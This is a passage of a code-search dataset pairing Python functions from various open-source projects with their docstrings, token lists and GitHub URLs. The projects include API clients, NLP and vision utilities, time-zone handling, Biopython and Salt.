params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'q' in params: query_params.append(('q', params['q'])) if 'a' in params: query_params.append(('a', params['a'])) header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['/*']) # Authentication setting auth_settings = ['tokenAuth'] return self.api_client.call_api('/flow/search-results', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SearchResultsEntity', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)	[ "def", "search_flow_with_http_info", "(", "self", ",", "", "", "kwargs", ")", ":", "all_params", "=", "[", "'q'", ",", "'a'", "]", "all_params", ".", "append", "(", "'callback'", ")", "all_params", ".", "append", "(", "'_return_http_data_only'", ")", "all_params", ".", "append", "(", "'_preload_content'", ")", "all_params", ".", "append", "(", "'_request_timeout'", ")", "params", "=", "locals", "(", ")", "for", "key", ",", "val", "in", "iteritems", "(", "params", "[", "'kwargs'", "]", ")", ":", "if", "key", "not", "in", "all_params", ":", "raise", "TypeError", "(", "\"Got an unexpected keyword argument '%s'\"", "\" to method search_flow\"", "%", "key", ")", "params", "[", "key", "]", "=", "val", "del", "params", "[", "'kwargs'", "]", "collection_formats", "=", "{", "}", "path_params", "=", "{", "}", "query_params", "=", "[", "]", "if", "'q'", "in", "params", ":", "query_params", ".", "append", "(", "(", "'q'", ",", "params", "[", "'q'", "]", ")", ")", "if", "'a'", "in", "params", ":", "query_params", ".", "append", "(", "(", "'a'", ",", "params", "[", "'a'", "]", ")", ")", "header_params", "=", "{", "}", "form_params", "=", "[", "]", "local_var_files", "=", "{", "}", "body_params", "=", "None", "# HTTP header `Accept`", "header_params", "[", "'Accept'", "]", "=", "self", ".", "api_client", ".", "select_header_accept", "(", "[", "'application/json'", "]", ")", "# HTTP header `Content-Type`", "header_params", "[", "'Content-Type'", "]", "=", "self", ".", "api_client", ".", "select_header_content_type", "(", "[", "'/'", "]", ")", "# Authentication setting", "auth_settings", "=", "[", "'tokenAuth'", "]", "return", "self", ".", "api_client", ".", "call_api", "(", "'/flow/search-results'", ",", "'GET'", ",", "path_params", ",", "query_params", ",", "header_params", ",", "body", "=", "body_params", ",", "post_params", "=", "form_params", ",", "files", "=", "local_var_files", ",", "response_type", "=", "'SearchResultsEntity'", ",", "auth_settings", "=", "auth_settings", ",", "callback", "=", "params", ".", "get", "(", "'callback'", ")", ",", "_return_http_data_only", "=", "params", ".", "get", "(", "'_return_http_data_only'", ")", ",", "_preload_content", "=", "params", ".", "get", "(", "'_preload_content'", ",", "True", ")", ",", "_request_timeout", "=", "params", ".", "get", "(", "'_request_timeout'", ")", ",", "collection_formats", "=", "collection_formats", ")" ]	https://github.com/Chaffelson/nipyapi/blob/d3b186fd701ce308c2812746d98af9120955e810/nipyapi/nifi/apis/flow_api.py#L4490-L4568
mangye16/ReID-Survey	2ce2cfe890d78f6904890c9063ed156532325b60	video-reid-AWG/utils.py	python	save_gradient_images	(gradient, file_name)		Exports the original gradient image Args: gradient (np arr): Numpy array of the gradient with shape (3, 224, 224) file_name (str): File name to be exported	Exports the original gradient image	[ "Exports", "the", "original", "gradient", "image" ]	def save_gradient_images(gradient, file_name): """ Exports the original gradient image Args: gradient (np arr): Numpy array of the gradient with shape (3, 224, 224) file_name (str): File name to be exported """ if not os.path.exists('../results'): os.makedirs('../results') # Normalize gradient = gradient - gradient.min() gradient /= gradient.max() # Save image path_to_file = os.path.join('../results', file_name + '.jpg') save_image(gradient, path_to_file)	[ "def", "save_gradient_images", "(", "gradient", ",", "file_name", ")", ":", "if", "not", "os", ".", "path", ".", "exists", "(", "'../results'", ")", ":", "os", ".", "makedirs", "(", "'../results'", ")", "# Normalize", "gradient", "=", "gradient", "-", "gradient", ".", "min", "(", ")", "gradient", "/=", "gradient", ".", "max", "(", ")", "# Save image", "path_to_file", "=", "os", ".", "path", ".", "join", "(", "'../results'", ",", "file_name", "+", "'.jpg'", ")", "save_image", "(", "gradient", ",", "path_to_file", ")" ]	https://github.com/mangye16/ReID-Survey/blob/2ce2cfe890d78f6904890c9063ed156532325b60/video-reid-AWG/utils.py#L176-L191
hellohaptik/chatbot_ner	742104790170ae5b73c583c94db6786549337dc4	ner_v2/detectors/numeral/number_range/standard_number_range_detector.py	python	BaseNumberRangeDetector._detect_max_num_range_with_prefix_variants	(self, number_range_list=None, original_list=None)	return number_range_list, original_list	Method to detect number range containing only max value and keywords which identify value as min present before them. Example - less than 2 {'less than' => keyword, '2' => max value}, At most seven hundred rupees {'At most' => keyword, 'seven hundred rupees'=>min value} Args: number_range_list (list): original_list (list): Returns: (tuple): a tuple containing (list): list containing detected numeric text (list): list containing original numeral text	Method to detect number range containing only max value and keywords which identify value as min present before them. Example - less than 2 {'less than' => keyword, '2' => max value}, At most seven hundred rupees {'At most' => keyword, 'seven hundred rupees'=>min value} Args: number_range_list (list): original_list (list): Returns: (tuple): a tuple containing (list): list containing detected numeric text (list): list containing original numeral text	[ "Method", "to", "detect", "number", "range", "containing", "only", "max", "value", "and", "keywords", "which", "identify", "value", "as", "min", "present", "before", "them", ".", "Example", "-", "less", "than", "2", "{", "less", "than", "=", ">", "keyword", "2", "=", ">", "max", "value", "}", "At", "most", "seven", "hundred", "rupees", "{", "At", "most", "=", ">", "keyword", "seven", "hundred", "rupees", "=", ">", "min", "value", "}", "Args", ":", "number_range_list", "(", "list", ")", ":", "original_list", "(", "list", ")", ":", "Returns", ":", "(", "tuple", ")", ":", "a", "tuple", "containing", "(", "list", ")", ":", "list", "containing", "detected", "numeric", "text", "(", "list", ")", ":", "list", "containing", "original", "numeral", "text" ]	def _detect_max_num_range_with_prefix_variants(self, number_range_list=None, original_list=None): """ Method to detect number range containing only max value and keywords which identify value as min present before them. Example - less than 2 {'less than' => keyword, '2' => max value}, At most seven hundred rupees {'At most' => keyword, 'seven hundred rupees'=>min value} Args: number_range_list (list): original_list (list): Returns: (tuple): a tuple containing (list): list containing detected numeric text (list): list containing original numeral text """ number_range_list = number_range_list or [] original_list = original_list or [] if self.max_range_prefix_variants: max_prefix_choices = '\|'.join(self.max_range_prefix_variants) max_range_start_pattern = re.compile(r'((?:{max_prefix_choices})\s+({number}\d+__))'.format( number=numeral_constant.NUMBER_REPLACE_TEXT, max_prefix_choices=max_prefix_choices), re.UNICODE) number_range_matches = max_range_start_pattern.findall(self.processed_text) for match in number_range_matches: number_range, original_text = self._get_number_range(min_part_match=None, max_part_match=match[1], full_match=match[0]) if number_range and original_text: number_range_list.append(number_range) original_list.append(original_text) return number_range_list, original_list	[ "def", "_detect_max_num_range_with_prefix_variants", "(", "self", ",", "number_range_list", "=", "None", ",", "original_list", "=", "None", ")", ":", "number_range_list", "=", "number_range_list", "or", "[", "]", "original_list", "=", "original_list", "or", "[", "]", "if", "self", ".", "max_range_prefix_variants", ":", "max_prefix_choices", "=", "'\|'", ".", "join", "(", "self", ".", "max_range_prefix_variants", ")", "max_range_start_pattern", "=", "re", ".", "compile", "(", "r'((?:{max_prefix_choices})\\s+({number}\\d+__))'", ".", "format", "(", "number", "=", "numeral_constant", ".", "NUMBER_REPLACE_TEXT", ",", "max_prefix_choices", "=", "max_prefix_choices", ")", ",", "re", ".", "UNICODE", ")", "number_range_matches", "=", "max_range_start_pattern", ".", "findall", "(", "self", ".", "processed_text", ")", "for", "match", "in", "number_range_matches", ":", "number_range", ",", "original_text", "=", "self", ".", "_get_number_range", "(", "min_part_match", "=", "None", ",", "max_part_match", "=", "match", "[", "1", "]", ",", "full_match", "=", "match", "[", "0", "]", ")", "if", "number_range", "and", "original_text", ":", "number_range_list", ".", "append", "(", "number_range", ")", "original_list", ".", "append", "(", "original_text", ")", "return", "number_range_list", ",", "original_list" ]	https://github.com/hellohaptik/chatbot_ner/blob/742104790170ae5b73c583c94db6786549337dc4/ner_v2/detectors/numeral/number_range/standard_number_range_detector.py#L330-L358
osmr/imgclsmob	f2993d3ce73a2f7ddba05da3891defb08547d504	gluon/datasets/coco_hpe3_dataset.py	python	CocoHpe3MetaInfo.add_dataset_parser_arguments	(self, parser, work_dir_path)		Create python script parameters (for ImageNet-1K dataset metainfo). Parameters: ---------- parser : ArgumentParser ArgumentParser instance. work_dir_path : str Path to working directory.	Create python script parameters (for ImageNet-1K dataset metainfo).	[ "Create", "python", "script", "parameters", "(", "for", "ImageNet", "-", "1K", "dataset", "metainfo", ")", "." ]	def add_dataset_parser_arguments(self, parser, work_dir_path): """ Create python script parameters (for ImageNet-1K dataset metainfo). Parameters: ---------- parser : ArgumentParser ArgumentParser instance. work_dir_path : str Path to working directory. """ super(CocoHpe3MetaInfo, self).add_dataset_parser_arguments(parser, work_dir_path) parser.add_argument( "--input-size", type=int, nargs=2, default=self.input_image_size, help="size of the input for model") parser.add_argument( "--load-ignore-extra", action="store_true", help="ignore extra layers in the source PyTroch model")	[ "def", "add_dataset_parser_arguments", "(", "self", ",", "parser", ",", "work_dir_path", ")", ":", "super", "(", "CocoHpe3MetaInfo", ",", "self", ")", ".", "add_dataset_parser_arguments", "(", "parser", ",", "work_dir_path", ")", "parser", ".", "add_argument", "(", "\"--input-size\"", ",", "type", "=", "int", ",", "nargs", "=", "2", ",", "default", "=", "self", ".", "input_image_size", ",", "help", "=", "\"size of the input for model\"", ")", "parser", ".", "add_argument", "(", "\"--load-ignore-extra\"", ",", "action", "=", "\"store_true\"", ",", "help", "=", "\"ignore extra layers in the source PyTroch model\"", ")" ]	https://github.com/osmr/imgclsmob/blob/f2993d3ce73a2f7ddba05da3891defb08547d504/gluon/datasets/coco_hpe3_dataset.py#L513-L536
zhl2008/awd-platform	0416b31abea29743387b10b3914581fbe8e7da5e	web_hxb2/lib/python3.5/site-packages/wagtail/utils/setup.py	python	assets_mixin.compile_assets	(self)				[]	def compile_assets(self): try: subprocess.check_call(['npm', 'run', 'build']) except (OSError, subprocess.CalledProcessError) as e: print('Error compiling assets: ' + str(e)) # noqa raise SystemExit(1)	[ "def", "compile_assets", "(", "self", ")", ":", "try", ":", "subprocess", ".", "check_call", "(", "[", "'npm'", ",", "'run'", ",", "'build'", "]", ")", "except", "(", "OSError", ",", "subprocess", ".", "CalledProcessError", ")", "as", "e", ":", "print", "(", "'Error compiling assets: '", "+", "str", "(", "e", ")", ")", "# noqa", "raise", "SystemExit", "(", "1", ")" ]	https://github.com/zhl2008/awd-platform/blob/0416b31abea29743387b10b3914581fbe8e7da5e/web_hxb2/lib/python3.5/site-packages/wagtail/utils/setup.py#L17-L22
dboyd13/DSVR	56fd0b30294a02dabc8af9178c3ed9980c229c94	lib/IPy.py	python	_count1Bits	(num)	return ret	Find the highest bit set to 1 in an integer.	Find the highest bit set to 1 in an integer.	[ "Find", "the", "highest", "bit", "set", "to", "1", "in", "an", "integer", "." ]	def _count1Bits(num): """Find the highest bit set to 1 in an integer.""" ret = 0 while num > 0: num = num >> 1 ret += 1 return ret	[ "def", "_count1Bits", "(", "num", ")", ":", "ret", "=", "0", "while", "num", ">", "0", ":", "num", "=", "num", ">>", "1", "ret", "+=", "1", "return", "ret" ]	https://github.com/dboyd13/DSVR/blob/56fd0b30294a02dabc8af9178c3ed9980c229c94/lib/IPy.py#L1264-L1270
geduldig/TwitterAPI	1cb89e8fc50b051707fb99d6c2bb235ada5faf1a	TwitterAPI/TwitterAPI.py	python	_hydrate_tweets	(data, includes, field_suffix)	return data	Insert expansion fields back into tweet data by appending a new field as a sibling to the referenced field. :param data: "data" property value in JSON response :param includes: "includes" property value in JSON response :param field_suffix: Suffix appended to a hydrated field name. Either "_hydrate" which puts hydrated values into a new field, or "" which replaces the current field value with hydrated values. :returns: Tweet status as a JSON object.	Insert expansion fields back into tweet data by appending a new field as a sibling to the referenced field.	[ "Insert", "expansion", "fields", "back", "into", "tweet", "data", "by", "appending", "a", "new", "field", "as", "a", "sibling", "to", "the", "referenced", "field", "." ]	def _hydrate_tweets(data, includes, field_suffix): """Insert expansion fields back into tweet data by appending a new field as a sibling to the referenced field. :param data: "data" property value in JSON response :param includes: "includes" property value in JSON response :param field_suffix: Suffix appended to a hydrated field name. Either "_hydrate" which puts hydrated values into a new field, or "" which replaces the current field value with hydrated values. :returns: Tweet status as a JSON object. """ new_fields = [] for key in includes: incl = includes[key] for obj in incl: for field in ['id', 'media_key', 'username']: if field in obj: _create_include_fields(data, (obj[field], obj), new_fields) for item in new_fields: parent = item[0] field = item[1] + field_suffix include = item[2] if field in parent: if item[1] == 'media_keys': parent[field] += include if field_suffix == '': # REPLACE option parent[field].remove(include[0]['media_key']) else: parent[field] = include else: parent[field] = include return data	[ "def", "_hydrate_tweets", "(", "data", ",", "includes", ",", "field_suffix", ")", ":", "new_fields", "=", "[", "]", "for", "key", "in", "includes", ":", "incl", "=", "includes", "[", "key", "]", "for", "obj", "in", "incl", ":", "for", "field", "in", "[", "'id'", ",", "'media_key'", ",", "'username'", "]", ":", "if", "field", "in", "obj", ":", "_create_include_fields", "(", "data", ",", "(", "obj", "[", "field", "]", ",", "obj", ")", ",", "new_fields", ")", "for", "item", "in", "new_fields", ":", "parent", "=", "item", "[", "0", "]", "field", "=", "item", "[", "1", "]", "+", "field_suffix", "include", "=", "item", "[", "2", "]", "if", "field", "in", "parent", ":", "if", "item", "[", "1", "]", "==", "'media_keys'", ":", "parent", "[", "field", "]", "+=", "include", "if", "field_suffix", "==", "''", ":", "# REPLACE option", "parent", "[", "field", "]", ".", "remove", "(", "include", "[", "0", "]", "[", "'media_key'", "]", ")", "else", ":", "parent", "[", "field", "]", "=", "include", "else", ":", "parent", "[", "field", "]", "=", "include", "return", "data" ]	https://github.com/geduldig/TwitterAPI/blob/1cb89e8fc50b051707fb99d6c2bb235ada5faf1a/TwitterAPI/TwitterAPI.py#L438-L473
ShreyAmbesh/Traffic-Rule-Violation-Detection-System	ae0c327ce014ce6a427da920b5798a0d4bbf001e	openalpr_api/models/plate_candidate.py	python	PlateCandidate.to_dict	(self)	return result	Returns the model properties as a dict	Returns the model properties as a dict	[ "Returns", "the", "model", "properties", "as", "a", "dict" ]	def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result	[ "def", "to_dict", "(", "self", ")", ":", "result", "=", "{", "}", "for", "attr", ",", "_", "in", "iteritems", "(", "self", ".", "swagger_types", ")", ":", "value", "=", "getattr", "(", "self", ",", "attr", ")", "if", "isinstance", "(", "value", ",", "list", ")", ":", "result", "[", "attr", "]", "=", "list", "(", "map", "(", "lambda", "x", ":", "x", ".", "to_dict", "(", ")", "if", "hasattr", "(", "x", ",", "\"to_dict\"", ")", "else", "x", ",", "value", ")", ")", "elif", "hasattr", "(", "value", ",", "\"to_dict\"", ")", ":", "result", "[", "attr", "]", "=", "value", ".", "to_dict", "(", ")", "elif", "isinstance", "(", "value", ",", "dict", ")", ":", "result", "[", "attr", "]", "=", "dict", "(", "map", "(", "lambda", "item", ":", "(", "item", "[", "0", "]", ",", "item", "[", "1", "]", ".", "to_dict", "(", ")", ")", "if", "hasattr", "(", "item", "[", "1", "]", ",", "\"to_dict\"", ")", "else", "item", ",", "value", ".", "items", "(", ")", ")", ")", "else", ":", "result", "[", "attr", "]", "=", "value", "return", "result" ]	https://github.com/ShreyAmbesh/Traffic-Rule-Violation-Detection-System/blob/ae0c327ce014ce6a427da920b5798a0d4bbf001e/openalpr_api/models/plate_candidate.py#L129-L153
zhl2008/awd-platform	0416b31abea29743387b10b3914581fbe8e7da5e	web_flaskbb/lib/python2.7/site-packages/pytz/tzinfo.py	python	DstTzInfo.__reduce__	(self)	return pytz._p, ( self.zone, _to_seconds(self._utcoffset), _to_seconds(self._dst), self._tzname )			[]	def __reduce__(self): # Special pickle to zone remains a singleton and to cope with # database changes. return pytz._p, ( self.zone, _to_seconds(self._utcoffset), _to_seconds(self._dst), self._tzname )	[ "def", "__reduce__", "(", "self", ")", ":", "# Special pickle to zone remains a singleton and to cope with", "# database changes.", "return", "pytz", ".", "_p", ",", "(", "self", ".", "zone", ",", "_to_seconds", "(", "self", ".", "_utcoffset", ")", ",", "_to_seconds", "(", "self", ".", "_dst", ")", ",", "self", ".", "_tzname", ")" ]	https://github.com/zhl2008/awd-platform/blob/0416b31abea29743387b10b3914581fbe8e7da5e/web_flaskbb/lib/python2.7/site-packages/pytz/tzinfo.py#L518-L526
cloudera/hue	23f02102d4547c17c32bd5ea0eb24e9eadd657a4	desktop/core/ext-py/gssapi-1.5.1/gssapi/creds.py	python	Credentials.store	(self, store=None, usage='both', mech=None, overwrite=False, set_default=False)		Store these credentials into the given store This method stores the current credentials into the specified credentials store. If the default store is used, support for :rfc:`5588` is required. Otherwise, support for the credentials store extension is required. :requires-ext:`rfc5588` or :requires-ext:`cred_store` Args: store (dict): the store into which to store the credentials, or None for the default store. usage (str): the usage to store the credentials with -- either 'both', 'initiate', or 'accept' mech (OID): the :class:`MechType` to associate with the stored credentials overwrite (bool): whether or not to overwrite existing credentials stored with the same name, etc set_default (bool): whether or not to set these credentials as the default credentials for the given store. Returns: StoreCredResult: the results of the credential storing operation Raises: GSSError ExpiredCredentialsError MissingCredentialsError OperationUnavailableError DuplicateCredentialsElementError	Store these credentials into the given store	[ "Store", "these", "credentials", "into", "the", "given", "store" ]	def store(self, store=None, usage='both', mech=None, overwrite=False, set_default=False): """Store these credentials into the given store This method stores the current credentials into the specified credentials store. If the default store is used, support for :rfc:`5588` is required. Otherwise, support for the credentials store extension is required. :requires-ext:`rfc5588` or :requires-ext:`cred_store` Args: store (dict): the store into which to store the credentials, or None for the default store. usage (str): the usage to store the credentials with -- either 'both', 'initiate', or 'accept' mech (OID): the :class:`MechType` to associate with the stored credentials overwrite (bool): whether or not to overwrite existing credentials stored with the same name, etc set_default (bool): whether or not to set these credentials as the default credentials for the given store. Returns: StoreCredResult: the results of the credential storing operation Raises: GSSError ExpiredCredentialsError MissingCredentialsError OperationUnavailableError DuplicateCredentialsElementError """ if store is None: if rcred_rfc5588 is None: raise NotImplementedError("Your GSSAPI implementation does " "not have support for RFC 5588") return rcred_rfc5588.store_cred(self, usage, mech, overwrite, set_default) else: if rcred_cred_store is None: raise NotImplementedError("Your GSSAPI implementation does " "not have support for manipulating " "credential stores directly") store = _encode_dict(store) return rcred_cred_store.store_cred_into(store, self, usage, mech, overwrite, set_default)	[ "def", "store", "(", "self", ",", "store", "=", "None", ",", "usage", "=", "'both'", ",", "mech", "=", "None", ",", "overwrite", "=", "False", ",", "set_default", "=", "False", ")", ":", "if", "store", "is", "None", ":", "if", "rcred_rfc5588", "is", "None", ":", "raise", "NotImplementedError", "(", "\"Your GSSAPI implementation does \"", "\"not have support for RFC 5588\"", ")", "return", "rcred_rfc5588", ".", "store_cred", "(", "self", ",", "usage", ",", "mech", ",", "overwrite", ",", "set_default", ")", "else", ":", "if", "rcred_cred_store", "is", "None", ":", "raise", "NotImplementedError", "(", "\"Your GSSAPI implementation does \"", "\"not have support for manipulating \"", "\"credential stores directly\"", ")", "store", "=", "_encode_dict", "(", "store", ")", "return", "rcred_cred_store", ".", "store_cred_into", "(", "store", ",", "self", ",", "usage", ",", "mech", ",", "overwrite", ",", "set_default", ")" ]	https://github.com/cloudera/hue/blob/23f02102d4547c17c32bd5ea0eb24e9eadd657a4/desktop/core/ext-py/gssapi-1.5.1/gssapi/creds.py#L153-L203
biopython/biopython	2dd97e71762af7b046d7f7f8a4f1e38db6b06c86	Bio/SearchIO/BlastIO/blast_xml.py	python	BlastXmlWriter._write_elem_block	(self, block_name, map_name, obj, opt_dict=None)		Write sibling XML elements (PRIVATE). :param block_name: common element name prefix :type block_name: string :param map_name: name of mapping between element and attribute names :type map_name: string :param obj: object whose attribute value will be used :type obj: object :param opt_dict: custom element-attribute mapping :type opt_dict: dictionary {string: string}	Write sibling XML elements (PRIVATE).	[ "Write", "sibling", "XML", "elements", "(", "PRIVATE", ")", "." ]	def _write_elem_block(self, block_name, map_name, obj, opt_dict=None): """Write sibling XML elements (PRIVATE). :param block_name: common element name prefix :type block_name: string :param map_name: name of mapping between element and attribute names :type map_name: string :param obj: object whose attribute value will be used :type obj: object :param opt_dict: custom element-attribute mapping :type opt_dict: dictionary {string: string} """ if opt_dict is None: opt_dict = {} for elem, attr in _WRITE_MAPS[map_name]: elem = block_name + elem try: content = str(getattr(obj, attr)) except AttributeError: # ensure attrs that is not present is optional if elem not in _DTD_OPT: raise ValueError(f"Element {elem!r} (attribute {attr!r}) not found") else: # custom element-attribute mapping, for fallback values if elem in opt_dict: content = opt_dict[elem] self.xml.simpleElement(elem, content)	[ "def", "_write_elem_block", "(", "self", ",", "block_name", ",", "map_name", ",", "obj", ",", "opt_dict", "=", "None", ")", ":", "if", "opt_dict", "is", "None", ":", "opt_dict", "=", "{", "}", "for", "elem", ",", "attr", "in", "_WRITE_MAPS", "[", "map_name", "]", ":", "elem", "=", "block_name", "+", "elem", "try", ":", "content", "=", "str", "(", "getattr", "(", "obj", ",", "attr", ")", ")", "except", "AttributeError", ":", "# ensure attrs that is not present is optional", "if", "elem", "not", "in", "_DTD_OPT", ":", "raise", "ValueError", "(", "f\"Element {elem!r} (attribute {attr!r}) not found\"", ")", "else", ":", "# custom element-attribute mapping, for fallback values", "if", "elem", "in", "opt_dict", ":", "content", "=", "opt_dict", "[", "elem", "]", "self", ".", "xml", ".", "simpleElement", "(", "elem", ",", "content", ")" ]	https://github.com/biopython/biopython/blob/2dd97e71762af7b046d7f7f8a4f1e38db6b06c86/Bio/SearchIO/BlastIO/blast_xml.py#L784-L811
wikimedia/pywikibot	81a01ffaec7271bf5b4b170f85a80388420a4e78	pywikibot/page/__init__.py	python	BaseLink.__str__	(self)	return self.astext()	Return a str string representation.	Return a str string representation.	[ "Return", "a", "str", "string", "representation", "." ]	def __str__(self) -> str: """Return a str string representation.""" return self.astext()	[ "def", "__str__", "(", "self", ")", "->", "str", ":", "return", "self", ".", "astext", "(", ")" ]	https://github.com/wikimedia/pywikibot/blob/81a01ffaec7271bf5b4b170f85a80388420a4e78/pywikibot/page/__init__.py#L5210-L5212
mitre-attack/attack-website	446748b71f412f7125d596a5eae0869559c89f05	modules/util/stixhelpers.py	python	get_stix_memory_stores	()	return ms, srcs	This function reads the json files for each domain and creates a dict that contains the memory stores for each domain.	This function reads the json files for each domain and creates a dict that contains the memory stores for each domain.	[ "This", "function", "reads", "the", "json", "files", "for", "each", "domain", "and", "creates", "a", "dict", "that", "contains", "the", "memory", "stores", "for", "each", "domain", "." ]	def get_stix_memory_stores(): """This function reads the json files for each domain and creates a dict that contains the memory stores for each domain. """ # suppress InsecureRequestWarning: Unverified HTTPS request is being made urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) ms = {} srcs = [] # Set proxy proxy = "" if site_config.args.proxy: proxy = site_config.args.proxy proxyDict = { "http" : proxy, "https" : proxy } for domain in site_config.domains: # Download json from http or https if domain['location'].startswith("http"): stix_json = requests.get(domain['location'], verify=False, proxies=proxyDict) if stix_json.status_code == 200: stix_json = stix_json.json() ms[domain['name']] = stix2.MemoryStore(stix_data=stix_json['objects']) elif stix_json.status_code == 404: exit(f"\n{domain['location']} stix bundle was not found") else: exit(f"\n{domain['location']} stix bundle download was unsuccessful") else: if os.path.exists(domain['location']): ms[domain['name']] = stix2.MemoryStore() ms[domain['name']].load_from_file(domain['location']) else: exit(f"\n{domain['location']} local file does not exist. If you intended a URL, please include http:// or https://") if not domain['deprecated']: srcs.append(ms[domain['name']]) return ms, srcs	[ "def", "get_stix_memory_stores", "(", ")", ":", "# suppress InsecureRequestWarning: Unverified HTTPS request is being made", "urllib3", ".", "disable_warnings", "(", "urllib3", ".", "exceptions", ".", "InsecureRequestWarning", ")", "ms", "=", "{", "}", "srcs", "=", "[", "]", "# Set proxy", "proxy", "=", "\"\"", "if", "site_config", ".", "args", ".", "proxy", ":", "proxy", "=", "site_config", ".", "args", ".", "proxy", "proxyDict", "=", "{", "\"http\"", ":", "proxy", ",", "\"https\"", ":", "proxy", "}", "for", "domain", "in", "site_config", ".", "domains", ":", "# Download json from http or https", "if", "domain", "[", "'location'", "]", ".", "startswith", "(", "\"http\"", ")", ":", "stix_json", "=", "requests", ".", "get", "(", "domain", "[", "'location'", "]", ",", "verify", "=", "False", ",", "proxies", "=", "proxyDict", ")", "if", "stix_json", ".", "status_code", "==", "200", ":", "stix_json", "=", "stix_json", ".", "json", "(", ")", "ms", "[", "domain", "[", "'name'", "]", "]", "=", "stix2", ".", "MemoryStore", "(", "stix_data", "=", "stix_json", "[", "'objects'", "]", ")", "elif", "stix_json", ".", "status_code", "==", "404", ":", "exit", "(", "f\"\\n{domain['location']} stix bundle was not found\"", ")", "else", ":", "exit", "(", "f\"\\n{domain['location']} stix bundle download was unsuccessful\"", ")", "else", ":", "if", "os", ".", "path", ".", "exists", "(", "domain", "[", "'location'", "]", ")", ":", "ms", "[", "domain", "[", "'name'", "]", "]", "=", "stix2", ".", "MemoryStore", "(", ")", "ms", "[", "domain", "[", "'name'", "]", "]", ".", "load_from_file", "(", "domain", "[", "'location'", "]", ")", "else", ":", "exit", "(", "f\"\\n{domain['location']} local file does not exist. If you intended a URL, please include http:// or https://\"", ")", "if", "not", "domain", "[", "'deprecated'", "]", ":", "srcs", ".", "append", "(", "ms", "[", "domain", "[", "'name'", "]", "]", ")", "return", "ms", ",", "srcs" ]	https://github.com/mitre-attack/attack-website/blob/446748b71f412f7125d596a5eae0869559c89f05/modules/util/stixhelpers.py#L374-L416
Staffjoy/suite	14ed49b21cf8296d2e0696a7f50f91f8e4b65072	staffjoy/resource.py	python	Resource._delay_for_ratelimits	(cls, start)		If request was shorter than max request time, delay	If request was shorter than max request time, delay	[ "If", "request", "was", "shorter", "than", "max", "request", "time", "delay" ]	def _delay_for_ratelimits(cls, start): """If request was shorter than max request time, delay""" stop = datetime.now() duration_microseconds = (stop-start).microseconds if duration_microseconds < cls.REQUEST_TIME_MICROSECONDS: time.sleep((cls.REQUEST_TIME_MICROSECONDS - duration_microseconds) / MICROSECONDS_PER_SECOND)	[ "def", "_delay_for_ratelimits", "(", "cls", ",", "start", ")", ":", "stop", "=", "datetime", ".", "now", "(", ")", "duration_microseconds", "=", "(", "stop", "-", "start", ")", ".", "microseconds", "if", "duration_microseconds", "<", "cls", ".", "REQUEST_TIME_MICROSECONDS", ":", "time", ".", "sleep", "(", "(", "cls", ".", "REQUEST_TIME_MICROSECONDS", "-", "duration_microseconds", ")", "/", "MICROSECONDS_PER_SECOND", ")" ]	https://github.com/Staffjoy/suite/blob/14ed49b21cf8296d2e0696a7f50f91f8e4b65072/staffjoy/resource.py#L202-L207
saltstack/salt	fae5bc757ad0f1716483ce7ae180b451545c2058	salt/modules/netaddress.py	python	list_cidr_ips	(cidr)	return [str(ip) for ip in list(ips)]	Get a list of IP addresses from a CIDR. CLI Example: .. code-block:: bash salt myminion netaddress.list_cidr_ips 192.168.0.0/20	Get a list of IP addresses from a CIDR.	[ "Get", "a", "list", "of", "IP", "addresses", "from", "a", "CIDR", "." ]	def list_cidr_ips(cidr): """ Get a list of IP addresses from a CIDR. CLI Example: .. code-block:: bash salt myminion netaddress.list_cidr_ips 192.168.0.0/20 """ ips = netaddr.IPNetwork(cidr) return [str(ip) for ip in list(ips)]	[ "def", "list_cidr_ips", "(", "cidr", ")", ":", "ips", "=", "netaddr", ".", "IPNetwork", "(", "cidr", ")", "return", "[", "str", "(", "ip", ")", "for", "ip", "in", "list", "(", "ips", ")", "]" ]	https://github.com/saltstack/salt/blob/fae5bc757ad0f1716483ce7ae180b451545c2058/salt/modules/netaddress.py#L33-L44
CreatCodeBuild/TensorFlow-and-DeepLearning-Tutorial	b418e9dc381a908b9cb7a3038825b6eb276b98cd	Season1/4-6/load.py	python	normalize	(samples)	return a/128.0 - 1.0	并且灰度化: 从三色通道 -> 单色通道省内存 + 加快训练速度 (R + G + B) / 3 将图片从 0 ~ 255 线性映射到 -1.0 ~ +1.0 @samples: numpy array	并且灰度化: 从三色通道 -> 单色通道省内存 + 加快训练速度 (R + G + B) / 3 将图片从 0 ~ 255 线性映射到 -1.0 ~ +1.0	[ "并且灰度化", ":", "从三色通道", "-", ">", "单色通道", "省内存", "+", "加快训练速度", "(", "R", "+", "G", "+", "B", ")", "/", "3", "将图片从", "0", "~", "255", "线性映射到", "-", "1", ".", "0", "~", "+", "1", ".", "0" ]	def normalize(samples): ''' 并且灰度化: 从三色通道 -> 单色通道省内存 + 加快训练速度 (R + G + B) / 3 将图片从 0 ~ 255 线性映射到 -1.0 ~ +1.0 @samples: numpy array ''' a = np.add.reduce(samples, keepdims=True, axis=3) # shape (图片数，图片高，图片宽，通道数) a = a/3.0 return a/128.0 - 1.0	[ "def", "normalize", "(", "samples", ")", ":", "a", "=", "np", ".", "add", ".", "reduce", "(", "samples", ",", "keepdims", "=", "True", ",", "axis", "=", "3", ")", "# shape (图片数，图片高，图片宽，通道数)", "a", "=", "a", "/", "3.0", "return", "a", "/", "128.0", "-", "1.0" ]	https://github.com/CreatCodeBuild/TensorFlow-and-DeepLearning-Tutorial/blob/b418e9dc381a908b9cb7a3038825b6eb276b98cd/Season1/4-6/load.py#L29-L38
